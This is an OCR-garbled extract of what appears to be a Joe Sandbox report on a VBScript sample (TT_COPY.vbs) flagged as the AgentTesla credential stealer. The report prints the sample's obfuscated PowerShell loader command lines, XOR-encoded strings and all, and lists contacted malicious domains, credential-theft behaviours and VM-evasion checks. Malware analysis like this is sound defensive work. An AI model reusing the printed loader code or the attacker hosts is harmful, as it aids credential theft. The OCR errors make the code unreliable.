BiCL0o8Sk5Un8BaDLaFTrEReEdoCStCBiBMaDTr1AcFSi5BoDDe1NiDCo7BIFSa8Hy8SpCSe8ArCBI8EACHi'Tr;Fe&In(na’ $InGArhCaeungiriElsUnhSh7Ju)Om Di' $AmHeeoFoe
PrrAdeRusVi6Po;Fi'$ReDOkmEdnEniMonSkgMasFopPrrCyolajEgeBukBetTrebarCo In=Ch FofPrkBapha Sc'$ReGGehlneNaglliPesNehPr5Un Re'$HuGObhBieStgKviNo
sFohPs6Re;La $EkHreoFoeTirBoeGasPu7Sv Re=Ch KrSTemPrelkrUntVoeGenPesDibToaUtrSanHjsApOFo Or'Ri8mi1GgFHd6PrDSa0MeCSyEPaCseEInCde0CiDRh7KrCCoA
LiDGe3FiCfr0ShDEn7HyDTo1DrDIn7BeCCeEReCKaEReCSo0SkDti1 AfDAf6Ta90v6Le8Ud5EtIFi8Sp8kasDy8Yo1JoFSp2FoCSy0HoDIN7UICMa0BoDSi7reCSe4DaDT
e1FI8TiBVaEIfCCrCKaBTrDPo3opCUvAHeCLaESeCSq0Un8TrDUnFUNEOrEReCBaCPaBvaDRe1beFNo5KoDPo1RuDEI7ViFBu8Fa9PsFEt9TeF ToFcoFSpCKo0OvDSc7Br
COuABa8Ur90m8Se5Un9An6Re9Fallt9LtCMe8Se9SI8FI5SMe9IPe5SkDUNDFe9VabPa9Kb5KI9Bo5Ha9F 05Pu8SvIBj8St5Un9Ci5PuDLaDQuICo1Po9Ud5Va8TuCTi'Ch;
an&de(Fa $UnGCohAneLagOpiThsObhUn7Sn)Al Di'$GaHFroEneHorVgeTasSt7Si;Ha' $TiHOvoLaePurPaeGasKo8Ti In=Ha DrSKumNeeHerHytSheDenHesHobEkaArrPenRi
sDi0Co Af'Pe8St1UnEPa6CrCstABeDIn7seDPa7CICWhAKeCTy7NiCSe7KvCMeAExDth7BaCDu0UNCSe0Sp8An5GadPr8Ud80m5Su8galQuFFo2leCSe0TeDGa7BoCRa0
BeDWa7SpCSk4lgDUn1Ca8RiBafEKrCUtCJuBSuDTi3PrCRuAAsCTrEEuCSkOUn8DeDMoFSoEKUEESCOmMCCaBSuDDo1CoFBi5UbDFI1MoDUn7InFIn8He9HaFFo9DeFmaFC
hFErCProSaDPo7AICFrAWa8Bi9Ta8Ch5Ap9SI5KbDKIDPh9Te4Fe9No5re9Bn5Lg9SI5OWIANS5SKIGY5 Es8AMIVa8Su5Au9IBUSetDLoDProPa6Or9Af5Fi9RuSCadCasUu
8Si9Sp8At5Ha9UN5KaDBaDTu9op1De8tiCFI'Re;Ko&Sh(li' $NaGAnhPeePrgCoiHusSphUn7Sa)Ro Hi'$TeHstoSpeHirLaeBesSa8po;Un $PrCRuaSyrNotLawVorThiStgCahA
rtUniGenFlgBe=Pa(SmGUnelntCo-OplKltpee TemWaPUnrSoolnpDoeAgrSotKayBa Ma-SePbeaSptRehOx Bi'GoHPrKNeCPIUBi:Fo\LyPBasUdelnuRadSaaFemhobGauOnlLoa
TpcParStualmSk\CykVeoRenFesXmtSqiAntSeuSttTaiUtoLunLseJelFe'Ge)Di.WaBTijHgfHesFo;Ly  $InHFloHoeMerSkeAasAn9BI Op=Pa HoSJvmBreNerSktNoeJanKrsP
abHeaTrrronYosUnOAf St'Ha8Fo1PaECuDSwCMeAFiCHe0AcDCe7ReCSe0MiDSt6Rg8Wa5AfIMu80Ob8PiSNoFVaEInFIn6UnDseCTuDSp6DaDWe1ChCNuOMiCGu8Ku8De
BNeEUNBAICPIADeCSmBEXDCh3PeCEv0SeDKa7crDHi1 ToF Te8Sk9RAFANIPhFFrESa3DrDAn7CeCimAHaCAn8MaENo7unCFo4UnDsk6BaCFe0Re9Ti3FI9Fj1KaFAn6BuD
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Sy1EnDDo7FrCLaCPoCBIBSkCPr2Re8EnDsy8Ln1AdEPiI6EvCLa4kjDSI7TaDPa1OtDFi2PsDLa7NyCVeCSaCMu2SkCBeDBuDji1 SkCEfCviCJaBSpCPr20p8TaCBe'Bu;h
a&He(Mi*$esGAnhNoeBIgChiShsLohFo7Sh)Ja St'$WiHMeolLaeBarBleHasCo9dv;Ty $FrCGoagerSotFowDerLaiHagmihbetkoiPenSsgAn0Bn Ba=Ca ChSSamLoeAcrNatdue
ApnpasSabGaaGorBonSvsPr0Ya Bi'PoFCeEEIFag6EKDDICRaDCo6TeDAI1OvCviOMeCRe8Sk8UdBAIFEI7FoDBIOCoCAaBANDTr1PrCTrCFoCHe8TiCHuOor8UnBHrEs
tCKeCCyBTeDBo1VrCInOmeDPu7AiCItAPrDTu5RuFBe6FuCDe0FIDAN70OuDSI3LeCMaCPiCDi6DICSo0UnDBo6Ve8syBBrEMe8EpCZ04StDSe7SaDSI6PeCEIDDeCEI4He
CMe9KoFPr80p9unFWo9GIFBIENu6FoCPaASpDma5ToDRuCSt8FIDAu8PalGaEOuDcuCEKACaCBuOIvDLi7KrCEIOGe DAb6Va8Is9Fa8Pa5Ko9To5Pa80I9Hy8Sm5Se8Tas
Fu8Be1DrFFu6MdDOVOkICUNEDICUNEArCLIOPIDTe7trCGiASIDBa3AgCStOpuDAr7SeDCe1baDPy7prCKIEfeCJUEEICRAOTaDBa1GiDUdBAfIdr6Pe8Fe9Ja8af5GadkK
a6as9Im0OPo9ANCPa8MaCOr'in;Tr&An(Ud $GaGWhhFleFIgReiOpsSchSa70v)sp En'$PrCPraBerRetSuwLerSmiUngPrhHatUniDinljgSt0Ov;pr' $NeNMaoSonOscStoStnCrd
GoiEnmEnebInSytGo2De=Ub $LiHUIoTreDirSaeFosUn.WecFioLauAnnOutMa-pi3Sm5Re9Ur; Sk $paCBeaTorFotExwSirYaiSngmihGatKoiBankngTr1Em Ba=Bu UnSMomSge
SurRetRueFanCasTwbAmaFrrGanSusBi0St ar'AuFKoELoFev6AsDHyCNoDNa6UdDNi1BaCStOWiCMu8Ve8CIBmuFPy7UnDBuOHyCemBStDPe1GrCopCpaCCa8CaCScOR
e8LsBHUESaCWoCPIBDiDHa1CoCpaOHiDMy7NoCSpApaDUt5CaFBo6DiCAnOMabDDe7SeDFi3UnCreCHuCBi6sqCPI0MoDhi6Ou8BuBSaESe8ThCPr4ViDKu7SnDCy6BeCNo
DLaCCh4MiCFe9NiFPa8An9TaFPo9KaFReEFo6SeCWhADoDOuSNoDHoCPe8ReDTr8Sp1DrEvaDNeCbyAFoCCa0spDAs7GiCSp0UnDTo6Sk8fj9Sa8In5Ge9Sa6Fe9Ur0Th9
ThCDk8cu9C08Ba50v8Su1LoEDe6ruCOrApiDkI7CoDDe7SuCbuACiCHy7afCHi7GaCLUAEKDTu7UnCPiOPrCEkOPa8Pi9Un8La5st8ud1SkEANBChCENASKCDoBTmCVa6V
iCTeAJuCFaBVaCSt1KaCunCKiCaf8MoCMa0SeCMeBPIDSh1Et9be7In8RoCHa'Vo;Mo&Br(Tr' $FIGRehReeAigFeiTesgahPh7Wh)Fo Sh*$TeCcoalnrRetUdwForEfistgYahlbts
piUdnFagSo1St;Ed" $FrCPraNorSmtPewStrKliBdgKohCotEniPonFigAn2ba St=do stSPrmUneimrRetAdeCInStsKobBuadirDinHosDiOTr to'Su8Br1 AnCRoEfjlCNo9VuCSa
4MiDZ07StCFI2UkCWeFPrCSkAStDSI7WiCUn1BoCMi0Br8Bn5He9Sk8Vi8Ka5BaFInEBIFAj6InDDoCudDCi6AnDSI1InCSt0InCSy8Le8AyBTiFce7AsDNo0DeCImBAID
No1NiCBiCSICTi8VoCSe0Fu8ReBGaEnoCDeCOmMBChDMe1TeCMa0BaDus7KeCPeAWaDFe5clFFo6BuCLa0ReDDe7NoDJe3StCHyCAICSt6SkCDi0OBeDMe6bI8AnBkoEEBA
fCAc4TiDBa7DrDSt6AhCSkDGICLi4NoCFu9AsFSp8uj9ReFDi9RoFSUEBa2ApCKoOunDGr1HIEFi1GrCGu0diCPe9KoCJa0DeCFr2ReCUn4phDmu1DaCEpOMIEDe3ubCJo
AReDbl7vaEma3SkDBa0ToCPsBSkCTy6reDPo1GhCDeCMaCTeASkCTiBUdFFo5UnCWeAEuCHoCLaCTrBAnDEr1 AICMa0ThDCh7Hi8coDfo8un1GeFTr6KeDAdOPaCPeESKC
BoEhaCEkOnoDRe7AeCPeAMoDGuU3UnCTe0DiDim7RaDCa1HeDud7PeCTIiEINCCoESICMoONoDSh1JoDBu6009VieHa8Cr9Ro8An5Tu8UvDInEKo2VuEAriouFLe1De8Co5P
IESy5Se8CaDtaFDyEFdERvCBaCPhBBgDTo1PuFKa5UnDla1UIDJo7ToFSu8An8Sv9UNFSpEMeEDeCRaCAfBKoDAp1AfFVe5beDUn1UnDAI7DsFSc8Du8CoCLo8Ca5Kv8Sn
DFrFCUEEIFQu3HeCPaAPrCRoCTrCIn1HaFTa8Ma8BiCIt8GuCOv8AbCMu'He;Re&St(Gr $SpGSinBeePrgSpiFasTehJu7Ga)Gr Un'$ChCtralerHotRewUnrTeibigUnhEstSkiNo
nStgGa2gu;Ma’$BiCPiaUnrUntOuwAdrUniUngEIhTitDiiStnMogDa3FI Br=Li TiSCemSaeAsrBotmaeRenDesgebkyaMorFInStsHj0Sy Mo'Gr8Wi1saCReEfiCTy9TuCTi4TiD
pe7riCDM2TeCOpFMaCFrAKrDSe7GrCKr1CiClnOLe8BaBTaEMiCcoCKrBKeDFa3DiCBrAkaCTrEBrCFuOHj8DiDAp8Go1LoEje6ReCOmMAVeDKNn7FoDBo7ReCGbAONCDe7S
ICOp7HaCRaAFeDQu7PsCMe0GrCmy0Sk8Si9Ko8Et1MaEac1NoCPI8BICBrBTbCGaCFoCVrBCoCUNn2BiDPs6HeDBr5ZoDAc7WhCChACoCSpFLsCGhOBjCUsECoDLa1stCma
0inDSp7GI8SaCMa'Di;Ph&Bi(Al'$DeGAMhGreGigSkiAmsFohSa7Me)Mo To'$FaCShaMarSvtFIwDirKliBrgMahcitnaiTrnFogSu3Ta#Ga;""";;Function Cartwrighting9 { param([
String]$Regionsplanlovs); For($Klistringer=2; $Klistringer -It $Regionsplanlovs.Length-1; $Klistringer+=(2+1)){ $Smertensbarns = $Smertensbarns + $Regionsplanlovs.Substri
ng($Klistringer, 1); } $Smertensbarns;}$talose0 = Cartwrighting9 'CelF oEReXPr ';$talose1= Cartwrighting9 $Vildmnd;if([IntPtr]::size -eq 8){.$env:windinS*64\W*Power*\v1.0\"I.exe
$talosel ;}elsef{.$talose0 $taloset;} MD5: 04029E121A0CFA5991749937DD22A1D9)

. conhost.exe (PID: 8248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAG8)

« [m1 powershell.exe (PID: 8364 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Smertensbarns0 { param([String]$Regionsplaniovs);
$Delintervallernes = New-Object byte[] (§Regionsplanlovs.Length / 2); For($Klistringer=0; $Klistringer -It $Regionsplanlovs.Length; $Klistringer+=2){ $Delintervallernes[$Klist
ringer/2] = [convert]::ToByte($Regionsplanlovs.Substring($Klistringer, 2), 16); $Delintervallernes[$Klistringer/2] = ($D elintervallernes[$Klistringer/2] -bxor 165); } [String][Sys
tem.Text.Encoding]::ASCII.GetString($Delintervallernes);}$Forskningsresultaters0=Smertensbarns0 'F6DCD6D1C0C88BC1CICY';$Forskningsresultaters1=Smertensbarns0
'EBCCC6D7CADB6CAC3D18BF2CCCB96978BFOCBD6C4C3COEBC4D1CCD3COE8COD1CDCAC1TDE';$Forskningsresultaters2=Smertensbarns0 'E2COD1F5D7CAC6E4C1C
1D7C0D6D6";$Forskningsresultaters3=Smertensbarns0 'F6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6CODEBBEDC4CBC1CICOF7COC
3';$Forskningsresultaters4=Smertensbarns0 'D6D1D7CCCBC2';$Forskningsresultaters5=Smertensbarns0 'E2COD1E8CAC1D0CICOEDC4CBC1C9C0";$Forskningsresultater
s6=Smertensbarns0 'F7F1F6D5C0C6CCC4C9EBC4C8C08985EDCCC1COE7DCF6CCC28985F5D0C7CICCCH';$Forskningsresultaters7=Smertensbarns0 'F7DOC
BD1CCC8C08985E8C4CBC4C2C0C1 " ;$Forskningsresultaters8=Smertensbarns0 'F7C0C3C9COC6D1COC1E1C0CICOC2C4D1C0";$Forskningsresultaters9=Smertensbar
ns0 'ECCBE8COC8CAD7DCE8CAC1D0CICO';$GhegishO=Smertensbarns0 'EBDCE1C0C9C0C2C4D1COF1DCD5C0';$Ghegish1=Smertensbarns0 'E6C9C4D6D6898
5F5D0C7C9CCC68985F6C0C4CICOC18985E4CBDECCEBCIC4DEDE8IB5E4DOD1CAEBCICADED6';$Ghegish2=Smertensbarns0 'ECCBD3CACECO";$Ghegish3=Smert
ensbarns0 'F5D0C7C9CCC68985EDCCC1COE7DCF6CCC28985EBCOD2F6CICAD18985F3CCD7D1D0C4CY" ;$Ghegish4=Smertensbarns0 'F3CCD7D1D0C4C9E4CICIC
AC6'";$Ghegish5=Smertensbarns0 'CBD1C1C9C9';$Ghegish6=Smertensbarns0 'EBD1F5D7CAD1C0C6D1F3CCD7D1D0C4C9E8COCBCAD7DC";$Ghegish7=Smert
ensbarns0 'ECEOFD';$Ghegish8=Smertensbarns0 'F9';function fkp {Param ($Upgrown, $Depressionsperioder) ;$Hoeres0 =Smertensbarns0 '81EED7C8C8C0D7C0CB8
598858DFEE4D5D5E1CAC8C4CCCBF89F9FE6DOD7D7C0CBD1E1CAC8C4CCCB8BE2COD1E4D6D6COC8C7CICCCODB8DBC85D985F2CDCOD7C0O088EAC7CFCOCED
185DE8581FA8BE2CICAC7C4CIE4D6D6COC8C7CIDCEBCAC6CDC08588E4CBC18581FABBE9CACEC4D1CCCACB8BF6D5CICCD18D81E2CDC0C2CCD6CDIDSCF
E8894F88BE0D4D0C4C9D68D81E3CAD7D6CECBCCCBC2D6D7C0DED0OCID1C4D1C0D7D6958C85D88C8BE2COD1F1DCD5C08D81E3CAD7D6CECBCCCBC2D6D7C
0D6D0CID1C4D1C0D7D6948C";&($Ghegish7) $Hoeres0;$Hoeres5 = Smertensbarns0 '81E6CD CCC9C985988581EED7C8C8C0OD7COCB8BE2COD1E8COD1CDCACT
8D81E3CAD7D6CECBCCCBC2D6D7C0D6D0CID1C4D1C0D7D6978985FEF1DCD5COFEF8F885E58D81E3CAD7D6CECBCCCBC2D6D7C0D6DOCID1C4D1C0OD7D696
898581E3CAD7D6CECBCCCBC2D6D7C0D6D0CID1C4D1C0D7D6918C8C";&($Ghegish7) $Hoeres5;$Hoeres1 = Smertensbarns0 'D7C0D1D0D7CB8581E6CDCCCIC
98BECCBD3CACEC08D81CBD0CIC98985E58DFEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6CO0D7D3CCC6CODE8BEDC4CBC1CICOF7COC3F88
DEBCOD288EAC7CFC0C6D185F6DCD6D1C0C88BF7DOCBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6COD68BEDC4CBC1CICOF7COC38DSDEBC
0D288EAC7CFC0C6D185ECCBD1F5D1D78C89858D81EED7C8C8C0D7C0OCB8BE2COD1E8COD1CDCAC18D81E3CAD7D6CECBCCCBC2D6D7C0D6DOCID1C4D1COD
7D6908C8C8BECCBD3CACEC08D81CBD0CIC98985E58D81F0D5C2D7CAD2CB8C8C8C8C898581E1C0D5D7C0D6D6CCCACBDED5COD7CCCACTCOD78C8C ;&($
Ghegish7) $Hoeres1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Nondecorously,[Parameter(Position = 1)] [Type] $Coeliomyalgia =
[Void]);$Hoeres2 = S mertensbarns0 '81EDC4DCCBC0D6859885FEE4D5D5E1CAC8C4CCCBF89FIFE6DOD7D7C0OCBD1E1CAC8C4CCCB8BE1C0OC3CCCBC
OE1DCCBC4C8CCC6E4D6D6C0OC8C7CIDC8DEDEBCOD288EAC7CFCOC6D185F6DCDED1COC88BF7CO0C3CI9COC6D1CCCACB8BE4D6D6COCBC7CIDCEBC4C8C08D8
1E3CAD7D6CECBCCCBC2D6D7C0D6D0CID1C4D1C0OD7D6ID8CBCBI85FEF6DCD6D1COC88BF7C0C3CICOCEDT1CCCACB8BEOC8CCD18BE4D6D6COC
8C7C9DCE7DOCCCIC1C0OD7E4C6C6C0OD6D6EF8IFIFF7DOCB8C8BE1COC3CCCBCOE1DCCBC4C8CCCEEBCACTD0OCIC08D81E3CAD7D6CECBCCCBC2D
6D7C0D6D0OCID1C4D1C0OD7D69C89I8581C3C4CID6CO8C8BETCOC3CCCBCOF1DCD5C08D81E2CDC0C2CCD6CDY5898581E2CDCOC2CCD6CDI48985FEF6DCDED
1C0C88BE8BD0CID1CCCHC4DEDT1ETCOCICOC2C4D1COF88C';&($Ghegish7) $Hoeres2;$Hoeres3 = Smertensbarns0 '81EDC4DCCBCOD68BE1COC3CCCBCOE6CACB
D6D1D7D0C6D1CAD78D81E3CAD7D6CECBCCCBC2D6D7C0DED0OCID1C4D1C0D7D6938985FEFEDCDED1COC88BF7C0C3CICOC6D1CCCACBBBE6GC4CICICCCBC2
E6CACBD3C0CBD1CCCACBD6F89F9FF6D1C4CBC1C4D7C1898581 EBCACBC1C0C6CAD7CADOD6CIDCBC8BF6CODT1ECC8D5CICOC8COCBD1C4D1CC
CACBE3C9C4C2D68D81E3CAD7D6CECBCCCBC2D6D7C0D6D0CID1C4D1C0OD7D6928C";&($Ghegish7) $Hoeres3;$Hoeres4 = Smertensbarns0 '81EDC4DCCBC0OD68
BE1C0C3CCCBCOE8COD1CDCAC18D81E2CDC0C2CCDBCDIY7898581E2CDCOC2CCD6CDI6898581E6CACOCICCCACBDCC4CIC2CCC4898581EBCAC
BC1C0C6CAD7CADOD6CIDCBC8BF6COD1ECC8D5CICOC8COCBD1C4D1CCCACBE3C9C4C2D68D81E3CAD7D6CECBCCCBC2D6D7C0DED0OCIDT1C4D1C0OD7D6928C
;&($Ghegish7) $Hoeres4;$Hoeres5 = Smertensbarns0 'D7C0D1D0D7CB8581EDC4DCCBCOD68BE6D7C0C4D1COF1DCD5C08D8C';&($Ghegish7) $Hoeres5 ;}$Uncouple =
Smertensbarns0 'CECOD7CBC0C99697';$Hoeres6 = Smertensbarns0 '81F2C0D7C0D7C4D1859885FEF6DCD6D1C0C88BF7DOCBD1CCC8CO08BECCBD1C0OD7CA
D5F6C0D7D3CCC6C0D68BE8C4D7D6CDC4CIF8IFIFE2CODT1ET1CO0CICOC2C4D1COE3CAD7E3DOCBCED1CCCACBF5CACCCBD1C0D78D8DC3CED58581FOCBC6CA
DOD5C9C08581E2CDC0C2CCD6CD918C89858DE2E1F185E58DFEECCBD1F5D1D7F88985FEFOECCBD19697F88985FEFOECCBD19697F88985FEFOECCBD196
97F88C858DFEECCBD1F5D1D7F88C8C8C";&($Ghegish7) $Hoeres6;$Dmningsprojekter = fkp $Ghegish5 $Ghegish6;$Hoeres7 = Smertensbarns0 '81F6D0CECECOD
7CAD3C0D7D1D7CECEC0D1D69685988581F2C0D7C0D7C4D18BECCBD3CACEC08DFEECCBD1F5D1D7F89F9FFFCOD7CA898596909C898595DD96959595898
595DD91958C";&($Ghegish7) $Hoeres7;$Hoeres8 = Smertensbarns0 '81E6CAD7D7CAC7C7CAD7C0C085988581F2C0D7C0D7C4D18BECCBD3CACEC08DFEECCB
D1F5D1D7F89F9FFFC0D7CA898595DD949595959595898595DD96959595898595DD918C ;& ($Ghegish7) $Hoeres8;$Cartwrighting=(Get-ltemProperty -Path 'HKCU:\
Pseudambulacrum\konstitutionel').Bjfs;$Hoeres9 = S mertensbarns0 '81EDCAC0D7C0D6859885FEF6DCD6D1C0C88BE6CACBD3C0D7D1F89F9FE3D7CACSE
7C4D6C09391F6D1D7CCCBC28D81E6C4D7D1D2D7CCC2CDD1CCCBC28C ;:&($Ghegish7) $Hoeres9;$Cartwrighting0 = Sme rtensbarns0 'FEF6DCD6D1C0C88BF
7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6CODE8BESC4D7D6CDC4CIF89FIFE6CADSDC8D81EDCACOD7C0D689859589858581F6DOCECECOD7CAD
3C0D7D1D7CECEC0D1D696898596909C8C";&($Ghegish7) $Cartwrighting0;$Noncondiment2=$Hoeres.count-359;$Cartwrighting1 = Smertensbarns0 'FEF6DCD6D
1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6CODE8BESC4D7D6CDC4CIF89FIFE6CAD5DC8D81EDCACOD7C0D6898596909C898581E6CAD
7D7CAC7C7CAD7C0C0898581EBCACBC6CACBC1CCC8COCBD1978C";&($Ghegish7) $Cartwrighting 1;$Cartwrighting2 = Smertensbarns0 '81CEC9C4D7C2CF
CAD7C1C0859885FEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0OD7CAD5FE6CO0D7D3CCC6COD68BE8C4D7D6CDC4CIF8IFIFE2COD1ET1COCIC0C2C4D1C0
E3CAD7E3DOCBC6D1CCCACBF5CACCCBD1C0D78D81F6DOCECECOD7CAD3C0D7D1D7CECECOD1D69689858DE2E1F185E58DFEECCBD1F5D1D7F889FEECCBD1
F5D1D7F88C858DFEF3CACCC1F88C8C8C ;:&($Ghegish7) $Cartwrighting2;$Cartwrighting3 = Smertensbarns0 '81CEC9C4D7C2CFCAD7C1C08BECCBD3CAC
EC08D81E6CAD7D7CAC7C7CAD7C0C08981E1C8CBCCCBC2D6D5D7CACFCOCED1C0D78C";&($Ghegish7) $Cartwrighting3# MD5:
C32CA4ACFCC635EC1EABED8A34DF5FAC)

« [B7] CasPol.exe (PID: 392 cmdline: C:\Windows\Microsoft. NET\Framework\v2.0.50727\caspol.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

= cleanup
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Malware Configuration

@ No configs have been found

Yara Signatures

Memory Dumps

Source

00000007.00000002.6671341455.000000001D701000.0000
0004.00000800.00020000.00000000.sdmp

00000007.00000002.6671341455.000000001D701000.0000
0004.00000800.00020000.00000000.sdmp
Process Memory Space: CasPol.exe PID: 392

Process Memory Space: CasPol.exe PID: 392

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

System Summary

Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)

Very long command line found

Data Obfuscation

Obfuscated command line found

Malware Analysis System Evasion

Tries to detect Any.run

Rule

JoeSecurity Agent
Tesla_1

JoeSecurity_Crede
ntialStealer

JoeSecurity_Agent
Tesla_1

JoeSecurity_Crede
ntialStealer

Potential evasive VBS script found (use of timer() function in loop)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Stealing of Sensitive Information

Description

Yara detected
AgentTesla

Yara detected
Credential Stealer

Yara detected
AgentTesla

Yara detected
Credential Stealer

Author

Joe Security

Joe Security

Joe Security

Joe Security

Strings

:

LI

:

Yara detected AgentTesla

Tries to steal Mail credentials (via file / registry access)

Copyright Joe Security LLC 2022
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Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality .]i.
Yara detected AgentTesla

Mitre Att&ck Matrix

Initial . . Privilege  Defense Credential _. Lateral . . . Command Network Rem?te
Execution Persistence g . Discovery Collection Exfiltration and Service Impact
Access Escalation Evasion Access Movement Effects
Control Effects
Valid Remote Eavesdrop Remotely  Modify
Accounts Windows DLL Side- DLL Side- Disableor 0OS File and Services Archive Exfiltration  Ingress on Insecure Track System
Manageme Loading Loading Modify Credential  Directory Collected Over Tool Network Device Partition
nt Tools Dumping Discovery Data Alternative  Transfer Communic ~ Without
Instrument Protocol ation Authorizati
ation on
Default Boot or Remote Exfiltration Exploit SS7 Remotely  Device
Accounts  Scripting Logon Access Deobfuscat Credentials System Desktop Data from  Over Encrypted  to Redirect Wipe Data  Lockout
Initializatio  Token e/Decode  in Registry Information Protocol Local Bluetooth Channel Phone Without
n Scripts Manipulatio  Files or Discovery System Calls/SMS  Authorizati
n Information on
Domain Logon Security SMB/Wind Automated Exploit SS7  Obtain Delete
Accounts ~ Command  Script Process Scripting Account Security ows Admin  Email Exfiltration  Non- to Track Device Device
and (Windows)  Injection Manager Software Shares Collection Application  Device Cloud Data
Scripting Discovery Layer Location Backups
Interpreter Protocol
Local Logon Logon NTDS Distributed  Input Scheduled SIM Card Carrier
Accounts  PowerShell Script Script Obfuscated Process Component Capture Transfer Application  Swap Billing
(Mac) (Mac) Files or Discovery  Object Layer Fraud
Information Model Protocol
Cloud Cron Network Network LSA SSH Keylogging Data Fallback Manipulate Manipulate
Accounts Logon Logon DLL Side-  Secrets Virtualizatio Transfer Channels  Device App Store
Script Script Loading n/Sandbox Size Limits Communic Rankings
Evasion ation or Ratings
Replication  Launchd Rc.commo  Rc.commo Cached VNC GUl Input  Exfiltration  Multband ~ Jamming or Abuse
Through n n Virtualizatio Domain Application Capture Over C2 Communic  Denial of Accessibilit
Removable n/Sandbox  Credentials Window Channel ation Service y Features
Media Evasion Discovery
External Scheduled  Startup Startup DCSync Network Windows Web Portal Exfiltration = Commonly  Rogue Wi- Data
Remote Task Items Items Access Sniffing Remote Capture Over Used Port  Fi Access Encrypted
Services Token Manageme Alternative Points for Impact
Manipulatio nt Protocol
n
Drive-by Command  Scheduled Scheduled Proc Network Shared Credential  Exfiltration ~ Application Downgrade Generate
Compromis and Task/Job Task/Job Process Filesystem Service Webroot API Over Layer to Insecure Fraudulent
e Scripting Injection Scanning Hooking Symmetric  Protocol Protocols Advertising
Interpreter Encrypted Revenue
Non-C2
Protocol

Behavior Graph
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Screenshots

Thumbnails

Behavior Graph

Sample: TT_COPY.vbs
Standate: 01122022
Architecture:  WINDOWS.
Score: 9%
\"
55 wscriptoxe
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‘ stal\ed\a"ed
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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conhost exe.

Hide Legend
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Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet
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Ready to choose backup options?

Tum off reminders View backup options

Ell O Type here to search o]

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

@ No Antivirus matches

Dropped Files

@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches

URLs

Source Detection Scanner Label Link
http://127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe
http:ifb3solutionscws.com/wp-admin/ZCaVulflpDLfuryX16po 0% Avira URL Cloud safe
http:/fOowQOv.com 0% Avira URL Cloud safe
http://ftp://ftp.mcmprint.netnoffice 0% Avira URL Cloud  safe
http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32- 0% Avira URL Cloud safe
0.4.3.6.ziphttps://www

http:/f DynDns.comDynDNSnamejidpasswordPsi/Psi 0% Avira URL Cloud safe
http://https://wNUxderhdgerb.org 0% Avira URL Cloud safe
http:/fb3solutionscws.com/wp-admin/ZCaVulflpDLfuryX16 0% Avira URL Cloud safe
http://go.micros 0% Avira URL Cloud safe
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Domains and IPs

Contacted Domains

Malicious

Antivirus Detection

Malicious Antivirus Detection

Name IP Active
ftp.memprint.net 185.31.121.136 true false
b3solutionscws.com 192.185.145.188 true false
Contacted URLs

Name

http://b3solutionscws.com/wp-admin/ZCaVulflpDLfuryX16 false

URLs from Memory and Binaries
Name

http://OowQOv.com

http://127.0.0.1:HTTP/1.1

http://https://aka.ms/pscore68

http://b3solutionscws.com/wp-
admin/ZCaVulflpDLfuryX16po

hitp://
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

http://https://wNUxderhdgerb.org

http://ftp://ftp.mcmprint.netnoffice

http://go.micros

hitp://
https://www.theonionrouter.com/dist.torproject.org/torbr
owser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

http://DynDns.comDynDNSnamejidpasswordPsi/Psi

World Map of Contacted IPs

Copyright Joe Security LLC 2022

Source

CasPol.exe, 00000007.00000002.6671341455
.000000001D701000.00000004.00000800.0002
0000.00000000.sdmp

CasPol.exe, 00000007.00000002.6671341455
.000000001D701000.00000004.00000800.0002
0000.00000000.sdmp

powershell.exe, 00000002.00000002.216470
4518.0000026A961B1000.00000004.00000800.
00020000.00000000.sdmp

CasPol.exe, 00000007.00000002.6650313755
.00000000010DE000.00000004.00000020.0002
0000.00000000.sdmp

powershell.exe, 00000002.00000002.216470
4518.0000026A961B1000.00000004.00000800.
00020000.00000000.sdmp

CasPol.exe, 00000007.00000002.6671341455
.000000001D701000.00000004.00000800.0002
0000.00000000.sdmp

CasPol.exe, 00000007.00000002.6671341455
.000000001D701000.00000004.00000800.0002
0000.00000000.sdmp

CasPol.exe, 00000007.00000002.6650870632
.00000000010F5000.00000004.00000020.0002
0000.00000000.sdmp

CasPol.exe, 00000007.00000002.6671341455
.000000001D701000.00000004.00000800.0002
0000.00000000.sdmp

CasPol.exe, 00000007.00000002.6671341455
.000000001D701000.00000004.00000800.0002
0000.00000000.sdmp

« Avira URL Cloud: safe

Malicious

false

false

false

false

false

false

false

false

false

false

.

.

.

.

.

Antivirus Detection

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

safe

safe

safe

safe

safe

safe

safe

safe

Reputation
unknown

unknown

Reputation

unknown

Reputation

unknown

low

high

unknown

high

unknown

unknown

unknown

unknown

unknown
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[] No. of IPs < 25%
